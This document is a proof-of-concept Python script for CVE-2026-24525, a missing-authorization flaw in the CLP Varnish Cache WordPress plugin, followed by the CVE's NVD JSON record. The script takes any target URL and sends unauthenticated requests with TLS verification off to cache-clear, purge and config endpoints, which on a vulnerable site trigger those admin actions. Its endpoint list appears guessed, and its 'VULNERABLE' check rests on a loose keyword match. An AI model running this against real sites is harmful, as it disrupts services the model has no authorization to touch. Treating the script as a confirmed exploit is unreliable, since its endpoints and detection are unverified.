CVE-2026-24525

# CVE-2026-24525 PoC - Missing Authorization in clp-varnish-cache # Target: CloudPanel CLP Varnish Cache <= 1.0.2 # This PoC demonstrates accessing admin functions without authentication import requests import sys def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2026-24525 """ # Common CloudPanel Varnish Cache endpoints endpoints = [ "/?clp_varnish_cache_clear=1", "/?clp_varnish_cache_purge_all=1", "/wp-admin/admin-ajax.php?action=clp_varnish_cache_clear", "/wp-admin/admin-ajax.php?action=clp_varnish_cache_config", "/clp-varnish-cache/admin/clear_cache.php", "/clp-varnish-cache/admin/config.php" ] print(f"[*] Testing target: {target_url}") print(f"[*] Checking for CVE-2026-24525 vulnerability\n") for endpoint in endpoints: try: url = target_url.rstrip('/') + endpoint # Send request without authentication cookies headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) PoC-Tester/1.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' } response = requests.get(url, headers=headers, timeout=10, verify=False) print(f"[+] Endpoint: {endpoint}") print(f" Status Code: {response.status_code}") # Check if the response indicates successful access without auth if response.status_code == 200: if 'cache' in response.text.lower() or 'varnish' in response.text.lower(): print(f" [!] VULNERABLE: Admin function accessible without authentication!") else: print(f" [?] Response received, manual verification needed") print() except requests.exceptions.RequestException as e: print(f"[-] Error testing {endpoint}: {e}\n") print("[*] Testing complete. If any endpoints show VULNERABLE status,") print("[*] the system is affected by CVE-2026-24525.") print("[*] Recommendation: Upgrade clp-varnish-cache to version > 1.0.2") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-24525_poc.py <target_url>") print("Example: python cve-2026-24525_poc.py https://example.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target)

{"cve": {"id": "CVE-2026-24525", "sourceIdentifier": "[email protected]", "published": "2026-01-23T15:16:08.340", "lastModified": "2026-04-28T15:16:10.333", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in CloudPanel CLP Varnish Cache clp-varnish-cache allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects CLP Varnish Cache: from n/a through <= 1.0.2."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en CloudPanel CLP Varnish Cache clp-varnish-cache permite explotar niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a CLP Varnish Cache: desde n/a hasta &lt;= 1.0.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/clp-varnish-cache/vulnerability/wordpress-clp-varnish-cache-plugin-1-0-2-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}